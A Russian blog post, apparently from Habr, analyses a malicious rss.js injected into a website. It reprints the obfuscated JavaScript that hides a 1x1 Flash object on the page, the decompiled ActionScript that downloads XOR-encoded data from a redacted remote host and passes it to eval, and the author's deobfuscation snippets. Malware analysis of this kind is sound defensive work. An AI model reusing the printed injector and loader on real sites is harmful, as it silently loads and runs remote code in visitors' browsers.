Вирус на сайте или реверс-инжиниринг Exploit.SWF.254

в 22:26, , рубрики: Action Script, exploit, вирусный анализ, Вирусы (и антивирусы), вирусы на сайтах, декомпиляция, деобфускация, информационная безопасность, метки: , , , , ,

Все началось с того, что на моем рабочем ноутбуке (Win XP) админ установил новый антивирус. В один прекрасный день, когда я зашел на один из своих сайтов, я обнаружил вот такую неприятную картину:

Вирус на сайте или реверс инжиниринг Exploit.SWF.254

Конечно же первое что я захотел сделать это удалить его, для этого нужно было просто зайти по FTP и прибить rss.js файл. Но тут вдруг оказалось что я не могу зайти на сайт по FTP, так как хостинг и домен не мои, и видимо недавно админы сменили логин и пароль. Дозвониться владельцам так и не удалось, зато понять что именно делает вирус было очень любопытно…

Итак, делать это на рабочем ноуте я не рискнул, решил заняться этим дома, так как на домашнем компе стоит макось бояться было нечего никакой антивирус не орал и не мешал работать. Первым делом я посмотрел что делает rss.js

function addNewObject () {
	try {
		var ua = navigator.userAgent.toLowerCase();
		if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) {
			var jtFRvRDNg=["subsx74x72","Fx55x64x59zx73x4dVXx65XZx70x6ex6ex79a.x73wfx66x50Myox56x6cVx76x43x52qx59oeFx61","x6aHx4c/0x38x2dx6box68ax77POTx55x4aGp","x6fx73Fx4ex74xx2fx6dpx33x2fvx69dix72x76x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44);
			var div = document.createElement('div');
			div.innerHTML  = '<object id="dummy" name="dummy" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="1" height="1">';
			div.innerHTML += '<param name="allowScriptAccess" value="always" />';
			div.innerHTML += '<param name="movie" value="'+ counter +'" />';
			div.innerHTML += '<embed id="dummy2" name="dummy2" src="'+ counter +'" width="1" height="1" name="flash" allowScriptAccess="always" type="application/x-shockwave-flash" />';
			div.innerHTML += '</object>';
			div.style.position = 'absolute';
			div.style.left = '-100px';
			div.style.top = '-100px';
			document.body.insertBefore(div, document.body.children[0]);
		}
	} catch (e) {
		if (document.body == undefined || document.body.children[0] == undefined) {
			setTimeout('addNewObject()', 50);
		}
	}
}
addNewObject();

Из кода очевидно что скрипт создает swf и внедряет его в код страницы, чтобы понять откуда он берет swf делаем деобфускацию вот этого странного куска кода:

var jtFRvRDNg=["subsx74x72","Fx55x64x59zx73x4dVXx65XZx70x6ex6ex79a.x73wfx66x50Myox56x6cVx76x43x52qx59oeFx61","x6aHx4c/0x38x2dx6box68ax77POTx55x4aGp","x6fx73Fx4ex74xx2fx6dpx33x2fvx69dix72x76x61ni"];var counter = jtFRvRDNg[35-32][jtFRvRDNg[0]](-60+95-29,70+22-91+13) + jtFRvRDNg[2][jtFRvRDNg[0]](94-75-16,36+83-111) + jtFRvRDNg[17-16][jtFRvRDNg[0]](66+2+81-135,51-44);

Для этого создаем и запускаем вот такой простой файл

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<script type="text/javascript">
    var jtFRvRDNg = ["subsx74x72", "Fx55x64x59zx73x4dVXx65XZx70x6ex6ex79a.x73wfx66x50Myox56x6cVx76x43x52qx59oeFx61", "x6aHx4c/0x38x2dx6box68ax77POTx55x4aGp", "x6fx73Fx4ex74xx2fx6dpx33x2fvx69dix72x76x61ni"];
    var counter = jtFRvRDNg[35 - 32][jtFRvRDNg[0]](-60 + 95 - 29, 70 + 22 - 91 + 13) + jtFRvRDNg[2][jtFRvRDNg[0]](94 - 75 - 16, 36 + 83 - 111) + jtFRvRDNg[17 - 16][jtFRvRDNg[0]](66 + 2 + 81 - 135, 51 - 44);
    alert(counter);
</script>
</body>
</html>

И сразу видим откуда подгружается вредоносный swf

Вирус на сайте или реверс инжиниринг Exploit.SWF.254

Теперь осталось самое легкое, узнать что делает этот flash ролик, немного погуглив нашел несколько декомпиляторов swf, но оказалось что файл защищен от декомпиляции

Вирус на сайте или реверс инжиниринг Exploit.SWF.254

И понять что делает вредоносный ActionScript невооруженным глазом нельзя:

Длинный непонятный код

//Кадр 0
//  Action tag #0

for (;;) 
{
    if (1847114876 == 1847115088) 
    {
        false;
        1238734783 & -1238734784;
        function decrypt(hex)
        {
            var __reg5;
            var __local0;
            if (205673138 ^ 205673138) 
            {
                __local0 = __reg5 = "A";
            }
            else 
            {
                __reg5 = "A";
                var __reg1;
                __local0 = __reg1 = 0;
            }
            __local0;
            for (;;) 
            {
                408838581 ^ 408838581;
                2136550932 & -2136550933;
                if (__reg1 >= hex.B) 
                {
                    break;
                }
                if (1890669217 ^ 1890669217) 
                {
                    "C";
                }
                else 
                {
                    var __reg3;
                    if (!(1502222836 ^ 1502222836)) 
                    {
                        __reg3 = hex.C(__reg1, 2);
                    }
                }
                1234629013 ^ 1234629013;
                127070979 & -127070980;
                var __reg2 = int("D" + __reg3);
                1130412752 ^ 1130412752;
                __reg2 = __reg2 ^ 5;
                1618839222 & -1618839223;
                if (!(1876906722 ^ 1876906722)) 
                {
                    __reg5 = __reg5 + chr(__reg2);
                }
                var __local1;
                var __local2;
                if (1459356484 ^ 1459356484) 
                {
                    __local1 = __reg1;
                    __local2 = 2;
                }
                else 
                {
                    __reg1 = __reg1 + 2;
                    __local1 = 1035411512;
                    __local2 = -1035411513;
                }
                __local1 & __local2;
            }
            return __reg5;
        }
        function checkFileLoaded()
        {
        };
        1791047020 & -1791047021;
        var  = "";
        1234090841 ^ 1234090841;
        353477196 ^ 353477196;
        if (!(1023518590 ^ 1023518590)) 
        {
            ("E", ());
        }
        1053853491 & -1053853492;
        657257249 & -657257250;
        var  = (, 200);
        503511606 ^ 503511606;
        694364267 ^ 694364267;
        2090915988 & -2090915989;
        loadVariables(G(), E);
        if (736039747 != 736040114) 
        {
            continue;
        }
    }
}

Еще немного погуглив нашел декомпилятор swf со встроенной функцией деобфускации, и вот такой код уже намного понятнее читать:

function decrypt(hex)
{
   var _loc5_ = "";
   var _loc1_ = 0;
   while(_loc1_ < hex.length)
   {
      var _loc3_ = hex.substr(_loc1_,2);
      var _loc2_ = int("0x" + _loc3_);
      _loc2_ = _loc2_ ^ 5;
      _loc5_ = _loc5_ + chr(_loc2_);
      _loc1_ = _loc1_ + 2;
   }
   return _loc5_;
}
function checkFileLoaded()
{
   if(container.data != undefined)
   {
      var _loc1_ = container.data;
      _loc1_ = decrypt(_loc1_);
      flash.external.ExternalInterface.call("eval",_loc1_);
      clearInterval(loadingInterval);
   }
}
var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030";
this.createEmptyMovieClip("container",this.getNextHighestDepth());
var loadingInterval = setInterval(checkFileLoaded,200);
loadVariables(decrypt(url),container);

Вот это уже интереснее, видим что тут есть url на который идет пинг, но даже в «защищенном» swf url закодирован, хорошо постарались ребята. У меня под рукой не оказалось флеш-редактора, нашел онлайн компилятор action script, скопировал кусок кода который декодирует зветный url и выводим:

class Test {
function decrypt(hex)
{
   var _loc5_ = "";
   var _loc1_ = 0;
   while(_loc1_ < hex.length)
   {
      var _loc3_ = hex.substr(_loc1_,2);
      var _loc2_ = int("0x" + _loc3_);
      _loc2_ = _loc2_ ^ 5;
      _loc5_ = _loc5_ + chr(_loc2_);
      _loc1_ = _loc1_ + 2;
   }
   return _loc5_;
}

  public function Test(mc) {
    var url = "6d7171753f2a2a7d64717c71642b75752b70642a666a706b7160772a6d6c712a66696c606b715a6160306163353334663c3c353333613d37666366313632633767353c3c313030";
    trace(decrypt(url));
  }

  public static function main(mc:MovieClip) {
    var test = new Test(mc);
  }
}

В результате получаем url: ---------/counter/hit/client_de5df061c99066d82cfc437f2b099455

Смысл этого эксплоита для меня так и остался загадкой, кто-то просто собирает статистику посещения сайта? А что думает хабр, жду комментарии, может кто-то сталкивался с подобным?

P.S. Умышленно не приводил ссылки на антивирус, декомпиляторы, онлайн сервисы и прочие ссылки

Автор: monoteos

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js